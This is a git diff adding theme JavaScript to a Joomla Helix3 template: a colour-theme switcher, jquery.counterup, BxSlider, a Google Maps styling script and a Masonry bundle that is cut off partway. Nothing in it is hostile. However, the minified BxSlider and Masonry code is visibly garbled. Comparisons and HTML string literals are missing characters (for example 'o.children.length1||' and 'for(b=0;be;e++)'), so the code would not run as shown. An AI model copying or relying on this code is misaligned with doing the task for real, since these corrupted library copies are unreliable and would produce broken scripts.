+ "red":"assets/css/theme/main_red.css",
+ "mid_blue":"assets/css/theme/main_mid_blue.css",
+ "nephritis":"assets/css/theme/main_nephritis.css",
+ "green_sea":"assets/css/theme/main_green_sea.css",
+ "orange":"assets/css/theme/main_orange.css",
+ "pink":"assets/css/theme/main_pink.css",
+ "yellow":"assets/css/theme/main_yellow.css",
+ "saddle":"assets/css/theme/main_saddle.css",
+ "main":"assets/css/main.css"
+ };
+ var color_rel = $(color_rels).attr("data-rel");
+ if(Themes.hasOwnProperty(color_rel)){
+ $(document).find("link#ThemeRoller").remove();
+ SwitchTheme(Themes[color_rel]);
+ /*$(document).find("link#ThemeRoller").attr("href",Themes[color_rel]);*/
+ }
+
+}
+
+function SwitchTheme(href){
+ var wjs = document.createElement('link');
+ wjs.type = 'text/css';
+ wjs.id = 'ThemeRoller';
+ wjs.async = true;
+ wjs.rel="stylesheet";
+ wjs.onload = function(){
+ $("body").removeClass('t-overlay');
+ };
+ wjs.href = href;
+ (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(wjs);
+}
+
+$(document).click(function(e) {
+ if ($("#gx-sidemenu").hasClass("opened") && (!$('#gx-sidemenu-inner-1').is(e.target)) && ($(e.target).parents('#gx-sidemenu-inner-1').length == 0))
+ {
+ $("#gx-sidemenu").removeClass("opened");
+ $( "#gx-sidemenu" ).animate({
+ left: "-280px",
+ }, 500, function() {
+ });
+ }
+});
+
+/****** BACK TO TOP *****/
+$(window).scroll(function() {
+ if ($(document).scrollTop() > 500) {
+ $('#t-back_to_top').fadeIn();
+ } else {
+ $('#t-back_to_top').fadeOut();
+ }
+});
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/jquery.counterup.min.js b/deployed/helix3/templates/shaper_helix3/js/plugin/jquery.counterup.min.js
new file mode 100644
index 00000000..cddf5a10
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/jquery.counterup.min.js
@@ -0,0 +1,8 @@
+/*!
+* jquery.counterup.js 1.0
+*
+* Copyright 2013, Benjamin Intal http://gambit.ph @bfintal
+* Released under the GPL v2 License
+*
+* Date: Nov 26, 2013
+*/(function(e){"use strict";e.fn.counterUp=function(t){var n=e.extend({time:400,delay:10},t);return this.each(function(){var t=e(this),r=n,i=function(){var e=[],n=r.time/r.delay,i=t.text(),s=/[0-9]+,[0-9]+/.test(i);i=i.replace(/,/g,"");var o=/^[0-9]+$/.test(i),u=/^[0-9]+\.[0-9]+$/.test(i),a=u?(i.split(".")[1]||[]).length:0;for(var f=n;f>=1;f--){var l=parseInt(i/n*f);u&&(l=parseFloat(i/n*f).toFixed(a));if(s)while(/(\d+)(\d{3})/.test(l.toString()))l=l.toString().replace(/(\d+)(\d{3})/,"$1,$2");e.unshift(l)}t.data("counterup-nums",e);t.text("0");var c=function(){t.text(t.data("counterup-nums").shift());if(t.data("counterup-nums").length)setTimeout(t.data("counterup-func"),r.delay);else{delete t.data("counterup-nums");t.data("counterup-nums",null);t.data("counterup-func",null)}};t.data("counterup-func",c);setTimeout(t.data("counterup-func"),r.delay)};t.waypoint(i,{offset:"100%",triggerOnce:!0})})}})(jQuery);
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/jquery.slider.min.js b/deployed/helix3/templates/shaper_helix3/js/plugin/jquery.slider.min.js
new file mode 100644
index 00000000..dc338f7a
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/jquery.slider.min.js
@@ -0,0 +1,10 @@
+/**
+ * BxSlider v4.1.2 - Fully loaded, responsive content slider
+ * http://bxslider.com
+ *
+ * Copyright 2014, Steven Wanderski - http://stevenwanderski.com - http://bxcreative.com
+ * Written while drinking Belgian ales and listening to jazz
+ *
+ * Released under the MIT license - http://opensource.org/licenses/MIT
+ */
+!function(t){var e={},s={mode:"horizontal",slideSelector:"",infiniteLoop:!0,hideControlOnEnd:!1,speed:500,easing:null,slideMargin:0,startSlide:0,randomStart:!1,captions:!1,ticker:!1,tickerHover:!1,adaptiveHeight:!1,adaptiveHeightSpeed:500,video:!1,useCSS:!0,preloadImages:"visible",responsive:!0,slideZIndex:50,touchEnabled:!0,swipeThreshold:50,oneToOneTouch:!0,preventDefaultSwipeX:!0,preventDefaultSwipeY:!1,pager:!0,pagerType:"full",pagerShortSeparator:" / ",pagerSelector:null,buildPager:null,pagerCustom:null,controls:!0,nextText:"Next",prevText:"Prev",nextSelector:null,prevSelector:null,autoControls:!1,startText:"Start",stopText:"Stop",autoControlsCombine:!1,autoControlsSelector:null,auto:!1,pause:4e3,autoStart:!0,autoDirection:"next",autoHover:!1,autoDelay:0,minSlides:1,maxSlides:1,moveSlides:0,slideWidth:0,onSliderLoad:function(){},onSlideBefore:function(){},onSlideAfter:function(){},onSlideNext:function(){},onSlidePrev:function(){},onSliderResize:function(){}};t.fn.bxSlider=function(n){if(0==this.length)return this;if(this.length>1)return this.each(function(){t(this).bxSlider(n)}),this;var o={},r=this;e.el=this;var a=t(window).width(),l=t(window).height(),d=function(){o.settings=t.extend({},s,n),o.settings.slideWidth=parseInt(o.settings.slideWidth),o.children=r.children(o.settings.slideSelector),o.children.length1||o.settings.maxSlides>1,o.carousel&&(o.settings.preloadImages="all"),o.minThreshold=o.settings.minSlides*o.settings.slideWidth+(o.settings.minSlides-1)*o.settings.slideMargin,o.maxThreshold=o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin,o.working=!1,o.controls={},o.interval=null,o.animProp="vertical"==o.settings.mode?"top":"left",o.usingCSS=o.settings.useCSS&&"fade"!=o.settings.mode&&function(){var t=document.createElement("div"),e=["WebkitPerspective","MozPerspective","OPerspective","msPerspective"];for(var i in e)if(void 0!==t.style[e[i]])return o.cssPrefix=e[i].replace("Perspective","").toLowerCase(),o.animProp="-"+o.cssPrefix+"-transform",!0;return!1}(),"vertical"==o.settings.mode&&(o.settings.maxSlides=o.settings.minSlides),r.data("origStyle",r.attr("style")),r.children(o.settings.slideSelector).each(function(){t(this).data("origStyle",t(this).attr("style"))}),c()},c=function(){r.wrap(''),o.viewport=r.parent(),o.loader=t('
'),o.viewport.prepend(o.loader),r.css({width:"horizontal"==o.settings.mode?100*o.children.length+215+"%":"auto",position:"relative"}),o.usingCSS&&o.settings.easing?r.css("-"+o.cssPrefix+"-transition-timing-function",o.settings.easing):o.settings.easing||(o.settings.easing="swing"),f(),o.viewport.css({width:"100%",overflow:"hidden",position:"relative"}),o.viewport.parent().css({maxWidth:p()}),o.settings.pager||o.viewport.parent().css({margin:"0 auto 0px"}),o.children.css({"float":"horizontal"==o.settings.mode?"left":"none",listStyle:"none",position:"relative"}),o.children.css("width",u()),"horizontal"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css("marginRight",o.settings.slideMargin),"vertical"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css("marginBottom",o.settings.slideMargin),"fade"==o.settings.mode&&(o.children.css({position:"absolute",zIndex:0,display:"none"}),o.children.eq(o.settings.startSlide).css({zIndex:o.settings.slideZIndex,display:"block"})),o.controls.el=t('
'),o.settings.captions&&P(),o.active.last=o.settings.startSlide==x()-1,o.settings.video&&r.fitVids();var e=o.children.eq(o.settings.startSlide);"all"==o.settings.preloadImages&&(e=o.children),o.settings.ticker?o.settings.pager=!1:(o.settings.pager&&T(),o.settings.controls&&C(),o.settings.auto&&o.settings.autoControls&&E(),(o.settings.controls||o.settings.autoControls||o.settings.pager)&&o.viewport.after(o.controls.el)),g(e,h)},g=function(e,i){var s=e.find("img, iframe").length;if(0==s)return i(),void 0;var n=0;e.find("img, iframe").each(function(){t(this).one("load",function(){++n==s&&i()}).each(function(){this.complete&&t(this).load()})})},h=function(){if(o.settings.infiniteLoop&&"fade"!=o.settings.mode&&!o.settings.ticker){var e="vertical"==o.settings.mode?o.settings.minSlides:o.settings.maxSlides,i=o.children.slice(0,e).clone().addClass("bx-clone"),s=o.children.slice(-e).clone().addClass("bx-clone");r.append(i).prepend(s)}o.loader.remove(),S(),"vertical"==o.settings.mode&&(o.settings.adaptiveHeight=!0),o.viewport.height(v()),r.redrawSlider(),o.settings.onSliderLoad(o.active.index),o.initialized=!0,o.settings.responsive&&t(window).bind("resize",Z),o.settings.auto&&o.settings.autoStart&&H(),o.settings.ticker&&L(),o.settings.pager&&q(o.settings.startSlide),o.settings.controls&&W(),o.settings.touchEnabled&&!o.settings.ticker&&O()},v=function(){var e=0,s=t();if("vertical"==o.settings.mode||o.settings.adaptiveHeight)if(o.carousel){var n=1==o.settings.moveSlides?o.active.index:o.active.index*m();for(s=o.children.eq(n),i=1;i<=o.settings.maxSlides-1;i++)s=n+i>=o.children.length?s.add(o.children.eq(i-1)):s.add(o.children.eq(n+i))}else s=o.children.eq(o.active.index);else s=o.children;return"vertical"==o.settings.mode?(s.each(function(){e+=t(this).outerHeight()}),o.settings.slideMargin>0&&(e+=o.settings.slideMargin*(o.settings.minSlides-1))):e=Math.max.apply(Math,s.map(function(){return t(this).outerHeight(!1)}).get()),e},p=function(){var t="100%";return o.settings.slideWidth>0&&(t="horizontal"==o.settings.mode?o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin:o.settings.slideWidth),t},u=function(){var t=o.settings.slideWidth,e=o.viewport.width();return 0==o.settings.slideWidth||o.settings.slideWidth>e&&!o.carousel||"vertical"==o.settings.mode?t=e:o.settings.maxSlides>1&&"horizontal"==o.settings.mode&&(e>o.maxThreshold||e0)if(o.viewport.width()o.maxThreshold)t=o.settings.maxSlides;else{var e=o.children.first().width();t=Math.floor(o.viewport.width()/e)}else"vertical"==o.settings.mode&&(t=o.settings.minSlides);return t},x=function(){var t=0;if(o.settings.moveSlides>0)if(o.settings.infiniteLoop)t=o.children.length/m();else for(var e=0,i=0;e0&&o.settings.moveSlides<=f()?o.settings.moveSlides:f()},S=function(){if(o.children.length>o.settings.maxSlides&&o.active.last&&!o.settings.infiniteLoop){if("horizontal"==o.settings.mode){var t=o.children.last(),e=t.position();b(-(e.left-(o.viewport.width()-t.width())),"reset",0)}else if("vertical"==o.settings.mode){var i=o.children.length-o.settings.minSlides,e=o.children.eq(i).position();b(-e.top,"reset",0)}}else{var e=o.children.eq(o.active.index*m()).position();o.active.index==x()-1&&(o.active.last=!0),void 0!=e&&("horizontal"==o.settings.mode?b(-e.left,"reset",0):"vertical"==o.settings.mode&&b(-e.top,"reset",0))}},b=function(t,e,i,s){if(o.usingCSS){var n="vertical"==o.settings.mode?"translate3d(0, "+t+"px, 0)":"translate3d("+t+"px, 0, 0)";r.css("-"+o.cssPrefix+"-transition-duration",i/1e3+"s"),"slide"==e?(r.css(o.animProp,n),r.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){r.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd"),D()})):"reset"==e?r.css(o.animProp,n):"ticker"==e&&(r.css("-"+o.cssPrefix+"-transition-timing-function","linear"),r.css(o.animProp,n),r.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){r.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd"),b(s.resetValue,"reset",0),N()}))}else{var a={};a[o.animProp]=t,"slide"==e?r.animate(a,i,o.settings.easing,function(){D()}):"reset"==e?r.css(o.animProp,t):"ticker"==e&&r.animate(a,speed,"linear",function(){b(s.resetValue,"reset",0),N()})}},w=function(){for(var e="",i=x(),s=0;i>s;s++){var n="";o.settings.buildPager&&t.isFunction(o.settings.buildPager)?(n=o.settings.buildPager(s),o.pagerEl.addClass("bx-custom-pager")):(n=s+1,o.pagerEl.addClass("bx-default-pager")),e+='"}o.pagerEl.html(e)},T=function(){o.settings.pagerCustom?o.pagerEl=t(o.settings.pagerCustom):(o.pagerEl=t(''),o.settings.pagerSelector?t(o.settings.pagerSelector).html(o.pagerEl):o.controls.el.addClass("bx-has-pager").append(o.pagerEl),w()),o.pagerEl.on("click","a",I)},C=function(){o.controls.next=t(''+o.settings.nextText+" "),o.controls.prev=t(''+o.settings.prevText+" "),o.controls.next.bind("click",y),o.controls.prev.bind("click",z),o.settings.nextSelector&&t(o.settings.nextSelector).append(o.controls.next),o.settings.prevSelector&&t(o.settings.prevSelector).append(o.controls.prev),o.settings.nextSelector||o.settings.prevSelector||(o.controls.directionEl=t('
'),o.controls.directionEl.append(o.controls.prev).append(o.controls.next),o.controls.el.addClass("bx-has-controls-direction").append(o.controls.directionEl))},E=function(){o.controls.start=t('"),o.controls.stop=t('"),o.controls.autoEl=t('
'),o.controls.autoEl.on("click",".bx-start",k),o.controls.autoEl.on("click",".bx-stop",M),o.settings.autoControlsCombine?o.controls.autoEl.append(o.controls.start):o.controls.autoEl.append(o.controls.start).append(o.controls.stop),o.settings.autoControlsSelector?t(o.settings.autoControlsSelector).html(o.controls.autoEl):o.controls.el.addClass("bx-has-controls-auto").append(o.controls.autoEl),A(o.settings.autoStart?"stop":"start")},P=function(){o.children.each(function(){var e=t(this).find("img:first").attr("title");void 0!=e&&(""+e).length&&t(this).append(''+e+"
")})},y=function(t){o.settings.auto&&r.stopAuto(),r.goToNextSlide(),t.preventDefault()},z=function(t){o.settings.auto&&r.stopAuto(),r.goToPrevSlide(),t.preventDefault()},k=function(t){r.startAuto(),t.preventDefault()},M=function(t){r.stopAuto(),t.preventDefault()},I=function(e){o.settings.auto&&r.stopAuto();var i=t(e.currentTarget),s=parseInt(i.attr("data-slide-index"));s!=o.active.index&&r.goToSlide(s),e.preventDefault()},q=function(e){var i=o.children.length;return"short"==o.settings.pagerType?(o.settings.maxSlides>1&&(i=Math.ceil(o.children.length/o.settings.maxSlides)),o.pagerEl.html(e+1+o.settings.pagerShortSeparator+i),void 0):(o.pagerEl.find("a").removeClass("active"),o.pagerEl.each(function(i,s){t(s).find("a").eq(e).addClass("active")}),void 0)},D=function(){if(o.settings.infiniteLoop){var t="";0==o.active.index?t=o.children.eq(0).position():o.active.index==x()-1&&o.carousel?t=o.children.eq((x()-1)*m()).position():o.active.index==o.children.length-1&&(t=o.children.eq(o.children.length-1).position()),t&&("horizontal"==o.settings.mode?b(-t.left,"reset",0):"vertical"==o.settings.mode&&b(-t.top,"reset",0))}o.working=!1,o.settings.onSlideAfter(o.children.eq(o.active.index),o.oldIndex,o.active.index)},A=function(t){o.settings.autoControlsCombine?o.controls.autoEl.html(o.controls[t]):(o.controls.autoEl.find("a").removeClass("active"),o.controls.autoEl.find("a:not(.bx-"+t+")").addClass("active"))},W=function(){1==x()?(o.controls.prev.addClass("disabled"),o.controls.next.addClass("disabled")):!o.settings.infiniteLoop&&o.settings.hideControlOnEnd&&(0==o.active.index?(o.controls.prev.addClass("disabled"),o.controls.next.removeClass("disabled")):o.active.index==x()-1?(o.controls.next.addClass("disabled"),o.controls.prev.removeClass("disabled")):(o.controls.prev.removeClass("disabled"),o.controls.next.removeClass("disabled")))},H=function(){o.settings.autoDelay>0?setTimeout(r.startAuto,o.settings.autoDelay):r.startAuto(),o.settings.autoHover&&r.hover(function(){o.interval&&(r.stopAuto(!0),o.autoPaused=!0)},function(){o.autoPaused&&(r.startAuto(!0),o.autoPaused=null)})},L=function(){var e=0;if("next"==o.settings.autoDirection)r.append(o.children.clone().addClass("bx-clone"));else{r.prepend(o.children.clone().addClass("bx-clone"));var i=o.children.first().position();e="horizontal"==o.settings.mode?-i.left:-i.top}b(e,"reset",0),o.settings.pager=!1,o.settings.controls=!1,o.settings.autoControls=!1,o.settings.tickerHover&&!o.usingCSS&&o.viewport.hover(function(){r.stop()},function(){var e=0;o.children.each(function(){e+="horizontal"==o.settings.mode?t(this).outerWidth(!0):t(this).outerHeight(!0)});var i=o.settings.speed/e,s="horizontal"==o.settings.mode?"left":"top",n=i*(e-Math.abs(parseInt(r.css(s))));N(n)}),N()},N=function(t){speed=t?t:o.settings.speed;var e={left:0,top:0},i={left:0,top:0};"next"==o.settings.autoDirection?e=r.find(".bx-clone").first().position():i=o.children.first().position();var s="horizontal"==o.settings.mode?-e.left:-e.top,n="horizontal"==o.settings.mode?-i.left:-i.top,a={resetValue:n};b(s,"ticker",speed,a)},O=function(){o.touch={start:{x:0,y:0},end:{x:0,y:0}},o.viewport.bind("touchstart",X)},X=function(t){if(o.working)t.preventDefault();else{o.touch.originalPos=r.position();var e=t.originalEvent;o.touch.start.x=e.changedTouches[0].pageX,o.touch.start.y=e.changedTouches[0].pageY,o.viewport.bind("touchmove",Y),o.viewport.bind("touchend",V)}},Y=function(t){var e=t.originalEvent,i=Math.abs(e.changedTouches[0].pageX-o.touch.start.x),s=Math.abs(e.changedTouches[0].pageY-o.touch.start.y);if(3*i>s&&o.settings.preventDefaultSwipeX?t.preventDefault():3*s>i&&o.settings.preventDefaultSwipeY&&t.preventDefault(),"fade"!=o.settings.mode&&o.settings.oneToOneTouch){var n=0;if("horizontal"==o.settings.mode){var r=e.changedTouches[0].pageX-o.touch.start.x;n=o.touch.originalPos.left+r}else{var r=e.changedTouches[0].pageY-o.touch.start.y;n=o.touch.originalPos.top+r}b(n,"reset",0)}},V=function(t){o.viewport.unbind("touchmove",Y);var e=t.originalEvent,i=0;if(o.touch.end.x=e.changedTouches[0].pageX,o.touch.end.y=e.changedTouches[0].pageY,"fade"==o.settings.mode){var s=Math.abs(o.touch.start.x-o.touch.end.x);s>=o.settings.swipeThreshold&&(o.touch.start.x>o.touch.end.x?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto())}else{var s=0;"horizontal"==o.settings.mode?(s=o.touch.end.x-o.touch.start.x,i=o.touch.originalPos.left):(s=o.touch.end.y-o.touch.start.y,i=o.touch.originalPos.top),!o.settings.infiniteLoop&&(0==o.active.index&&s>0||o.active.last&&0>s)?b(i,"reset",200):Math.abs(s)>=o.settings.swipeThreshold?(0>s?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto()):b(i,"reset",200)}o.viewport.unbind("touchend",V)},Z=function(){var e=t(window).width(),i=t(window).height();(a!=e||l!=i)&&(a=e,l=i,r.redrawSlider(),o.settings.onSliderResize.call(r,o.active.index))};return r.goToSlide=function(e,i){if(!o.working&&o.active.index!=e)if(o.working=!0,o.oldIndex=o.active.index,o.active.index=0>e?x()-1:e>=x()?0:e,o.settings.onSlideBefore(o.children.eq(o.active.index),o.oldIndex,o.active.index),"next"==i?o.settings.onSlideNext(o.children.eq(o.active.index),o.oldIndex,o.active.index):"prev"==i&&o.settings.onSlidePrev(o.children.eq(o.active.index),o.oldIndex,o.active.index),o.active.last=o.active.index>=x()-1,o.settings.pager&&q(o.active.index),o.settings.controls&&W(),"fade"==o.settings.mode)o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed),o.children.filter(":visible").fadeOut(o.settings.speed).css({zIndex:0}),o.children.eq(o.active.index).css("zIndex",o.settings.slideZIndex+1).fadeIn(o.settings.speed,function(){t(this).css("zIndex",o.settings.slideZIndex),D()});else{o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed);var s=0,n={left:0,top:0};if(!o.settings.infiniteLoop&&o.carousel&&o.active.last)if("horizontal"==o.settings.mode){var a=o.children.eq(o.children.length-1);n=a.position(),s=o.viewport.width()-a.outerWidth()}else{var l=o.children.length-o.settings.minSlides;n=o.children.eq(l).position()}else if(o.carousel&&o.active.last&&"prev"==i){var d=1==o.settings.moveSlides?o.settings.maxSlides-m():(x()-1)*m()-(o.children.length-o.settings.maxSlides),a=r.children(".bx-clone").eq(d);n=a.position()}else if("next"==i&&0==o.active.index)n=r.find("> .bx-clone").eq(o.settings.maxSlides).position(),o.active.last=!1;else if(e>=0){var c=e*m();n=o.children.eq(c).position()}if("undefined"!=typeof n){var g="horizontal"==o.settings.mode?-(n.left-s):-n.top;b(g,"slide",o.settings.speed)}}},r.goToNextSlide=function(){if(o.settings.infiniteLoop||!o.active.last){var t=parseInt(o.active.index)+1;r.goToSlide(t,"next")}},r.goToPrevSlide=function(){if(o.settings.infiniteLoop||0!=o.active.index){var t=parseInt(o.active.index)-1;r.goToSlide(t,"prev")}},r.startAuto=function(t){o.interval||(o.interval=setInterval(function(){"next"==o.settings.autoDirection?r.goToNextSlide():r.goToPrevSlide()},o.settings.pause),o.settings.autoControls&&1!=t&&A("stop"))},r.stopAuto=function(t){o.interval&&(clearInterval(o.interval),o.interval=null,o.settings.autoControls&&1!=t&&A("start"))},r.getCurrentSlide=function(){return o.active.index},r.getCurrentSlideElement=function(){return o.children.eq(o.active.index)},r.getSlideCount=function(){return o.children.length},r.redrawSlider=function(){o.children.add(r.find(".bx-clone")).outerWidth(u()),o.viewport.css("height",v()),o.settings.ticker||S(),o.active.last&&(o.active.index=x()-1),o.active.index>=x()&&(o.active.last=!0),o.settings.pager&&!o.settings.pagerCustom&&(w(),q(o.active.index))},r.destroySlider=function(){o.initialized&&(o.initialized=!1,t(".bx-clone",this).remove(),o.children.each(function(){void 0!=t(this).data("origStyle")?t(this).attr("style",t(this).data("origStyle")):t(this).removeAttr("style")}),void 0!=t(this).data("origStyle")?this.attr("style",t(this).data("origStyle")):t(this).removeAttr("style"),t(this).unwrap().unwrap(),o.controls.el&&o.controls.el.remove(),o.controls.next&&o.controls.next.remove(),o.controls.prev&&o.controls.prev.remove(),o.pagerEl&&o.settings.controls&&o.pagerEl.remove(),t(".bx-caption",this).remove(),o.controls.autoEl&&o.controls.autoEl.remove(),clearInterval(o.interval),o.settings.responsive&&t(window).unbind("resize",Z))},r.reloadSlider=function(t){void 0!=t&&(n=t),r.destroySlider(),d()},d(),this}}(jQuery);
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/map.js b/deployed/helix3/templates/shaper_helix3/js/plugin/map.js
new file mode 100644
index 00000000..f51049c5
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/map.js
@@ -0,0 +1,210 @@
+google.maps.event.addDomListener(window, 'load', init);
+ // Marker customization
+ function CustomMarker(latlng, map, args) {
+
+ this.latlng = latlng;
+ this.args = args;
+ this.setMap(map);
+
+ }
+
+ CustomMarker.prototype = new google.maps.OverlayView();
+
+ CustomMarker.prototype.draw = function() {
+
+ var self = this;
+
+ var div = this.div;
+
+ if (!div) {
+
+ div = this.div = document.createElement('div');
+
+ div.className = 'b-contacts_map_marker';
+
+ div.style.position = 'absolute';
+ div.style.cursor = 'pointer';
+
+ if (typeof(self.args.marker_id) !== 'undefined' && typeof(div.dataset) !== 'undefined') {
+ div.dataset.marker_id = self.args.marker_id;
+ }
+
+ /*google.maps.event.addDomListener(div, "click", function(event) {
+ //google.maps.event.trigger(self, "click");
+ });*/
+
+ var panes = this.getPanes();
+ panes.overlayImage.appendChild(div);
+ }
+
+ var point = this.getProjection().fromLatLngToDivPixel(this.latlng);
+
+ if (point) {
+ div.style.left = (point.x - 17) + 'px';
+ div.style.top = (point.y - 17) + 'px';
+ }
+ };
+
+ CustomMarker.prototype.remove = function() {
+ if (this.div) {
+ this.div.parentNode.removeChild(this.div);
+ this.div = null;
+ }
+ };
+
+ CustomMarker.prototype.getPosition = function() {
+ return this.latlng;
+ };
+ function init() {
+ // Basic options for a simple Google Map
+ // For more options see: https://developers.google.com/maps/documentation/javascript/reference#MapOptions
+ var mapOptions = {
+ // How zoomed in you want the map to start at (always required)
+ zoom: 5,
+
+ // The latitude and longitude to center the map (always required)
+ center: new google.maps.LatLng(52.229676, 21.012229), //
+ disableDefaultUI: true,
+ // How you would like to style the map.
+ // This is where you would paste any style found on Snazzy Maps.
+ styles: [
+ {
+ "featureType": "administrative.province",
+ "elementType": "all",
+ "stylers": [
+ {
+ "visibility": "off"
+ }
+ ]
+ },
+ {
+ "featureType": "landscape",
+ "elementType": "all",
+ "stylers": [
+ {
+ "saturation": -100
+ },
+ {
+ "lightness": 65
+ },
+ {
+ "visibility": "on"
+ }
+ ]
+ },
+ {
+ "featureType": "poi",
+ "elementType": "all",
+ "stylers": [
+ {
+ "saturation": -100
+ },
+ {
+ "lightness": 51
+ },
+ {
+ "visibility": "simplified"
+ }
+ ]
+ },
+ {
+ "featureType": "road.highway",
+ "elementType": "all",
+ "stylers": [
+ {
+ "saturation": -100
+ },
+ {
+ "visibility": "simplified"
+ }
+ ]
+ },
+ {
+ "featureType": "road.arterial",
+ "elementType": "all",
+ "stylers": [
+ {
+ "saturation": -100
+ },
+ {
+ "lightness": 30
+ },
+ {
+ "visibility": "on"
+ }
+ ]
+ },
+ {
+ "featureType": "road.local",
+ "elementType": "all",
+ "stylers": [
+ {
+ "saturation": -100
+ },
+ {
+ "lightness": 40
+ },
+ {
+ "visibility": "on"
+ }
+ ]
+ },
+ {
+ "featureType": "transit",
+ "elementType": "all",
+ "stylers": [
+ {
+ "saturation": -100
+ },
+ {
+ "visibility": "simplified"
+ }
+ ]
+ },
+ {
+ "featureType": "water",
+ "elementType": "geometry",
+ "stylers": [
+ {
+ "hue": "#ffff00"
+ },
+ {
+ "lightness": -25
+ },
+ {
+ "saturation": -97
+ }
+ ]
+ },
+ {
+ "featureType": "water",
+ "elementType": "labels",
+ "stylers": [
+ {
+ "visibility": "on"
+ },
+ {
+ "lightness": -25
+ },
+ {
+ "saturation": -100
+ }
+ ]
+ }
+ ]
+ };
+
+ // Get the HTML DOM element that will contain your map
+ // We are using a div with id="map" seen below in the
+ var mapElement = document.getElementById('map');
+
+ // Create the Google Map using our element and options defined above
+ var map = new google.maps.Map(mapElement, mapOptions);
+ overlay = new CustomMarker(new google.maps.LatLng(52.229676, 21.012229), map, { marker_id: 'b_contacts_map_marker' });
+ // Let's also add a marker while we're at it
+ // var marker = new google.maps.Marker({
+ // position: new google.maps.LatLng(52.229676, 21.012229),
+ // map: map,
+ // icon: 'http://118.102.206.67/trada/assets/images/google_map_marker.png'
+ // });
+ }
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/masonry.js b/deployed/helix3/templates/shaper_helix3/js/plugin/masonry.js
new file mode 100644
index 00000000..f0da3709
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/masonry.js
@@ -0,0 +1,9 @@
+/*!
+ * Masonry PACKAGED v3.1.5
+ * Cascading grid layout library
+ * http://masonry.desandro.com
+ * MIT License
+ * by David DeSandro
+ */
+
+!function(a){function b(){}function c(a){function c(b){b.prototype.option||(b.prototype.option=function(b){a.isPlainObject(b)&&(this.options=a.extend(!0,this.options,b))})}function e(b,c){a.fn[b]=function(e){if("string"==typeof e){for(var g=d.call(arguments,1),h=0,i=this.length;i>h;h++){var j=this[h],k=a.data(j,b);if(k)if(a.isFunction(k[e])&&"_"!==e.charAt(0)){var l=k[e].apply(k,g);if(void 0!==l)return l}else f("no such method '"+e+"' for "+b+" instance");else f("cannot call methods on "+b+" prior to initialization; attempted to call '"+e+"'")}return this}return this.each(function(){var d=a.data(this,b);d?(d.option(e),d._init()):(d=new c(this,e),a.data(this,b,d))})}}if(a){var f="undefined"==typeof console?b:function(a){console.error(a)};return a.bridget=function(a,b){c(b),e(a,b)},a.bridget}}var d=Array.prototype.slice;"function"==typeof define&&define.amd?define("jquery-bridget/jquery.bridget",["jquery"],c):c(a.jQuery)}(window),function(a){function b(b){var c=a.event;return c.target=c.target||c.srcElement||b,c}var c=document.documentElement,d=function(){};c.addEventListener?d=function(a,b,c){a.addEventListener(b,c,!1)}:c.attachEvent&&(d=function(a,c,d){a[c+d]=d.handleEvent?function(){var c=b(a);d.handleEvent.call(d,c)}:function(){var c=b(a);d.call(a,c)},a.attachEvent("on"+c,a[c+d])});var e=function(){};c.removeEventListener?e=function(a,b,c){a.removeEventListener(b,c,!1)}:c.detachEvent&&(e=function(a,b,c){a.detachEvent("on"+b,a[b+c]);try{delete a[b+c]}catch(d){a[b+c]=void 0}});var f={bind:d,unbind:e};"function"==typeof define&&define.amd?define("eventie/eventie",f):"object"==typeof exports?module.exports=f:a.eventie=f}(this),function(a){function b(a){"function"==typeof a&&(b.isReady?a():f.push(a))}function c(a){var c="readystatechange"===a.type&&"complete"!==e.readyState;if(!b.isReady&&!c){b.isReady=!0;for(var d=0,g=f.length;g>d;d++){var h=f[d];h()}}}function d(d){return d.bind(e,"DOMContentLoaded",c),d.bind(e,"readystatechange",c),d.bind(a,"load",c),b}var e=a.document,f=[];b.isReady=!1,"function"==typeof define&&define.amd?(b.isReady="function"==typeof requirejs,define("doc-ready/doc-ready",["eventie/eventie"],d)):a.docReady=d(a.eventie)}(this),function(){function a(){}function b(a,b){for(var c=a.length;c--;)if(a[c].listener===b)return c;return-1}function c(a){return function(){return this[a].apply(this,arguments)}}var d=a.prototype,e=this,f=e.EventEmitter;d.getListeners=function(a){var b,c,d=this._getEvents();if(a instanceof RegExp){b={};for(c in d)d.hasOwnProperty(c)&&a.test(c)&&(b[c]=d[c])}else b=d[a]||(d[a]=[]);return b},d.flattenListeners=function(a){var b,c=[];for(b=0;be;e++)if(b=c[e]+a,"string"==typeof d[b])return b}}var c="Webkit Moz ms Ms O".split(" "),d=document.documentElement.style;"function"==typeof define&&define.amd?define("get-style-property/get-style-property",[],function(){return b}):"object"==typeof exports?module.exports=b:a.getStyleProperty=b}(window),function(a){function b(a){var b=parseFloat(a),c=-1===a.indexOf("%")&&!isNaN(b);return c&&b}function c(){for(var a={width:0,height:0,innerWidth:0,innerHeight:0,outerWidth:0,outerHeight:0},b=0,c=g.length;c>b;b++){var d=g[b];a[d]=0}return a}function d(a){function d(a){if("string"==typeof a&&(a=document.querySelector(a)),a&&"object"==typeof a&&a.nodeType){var d=f(a);if("none"===d.display)return c();var e={};e.width=a.offsetWidth,e.height=a.offsetHeight;for(var 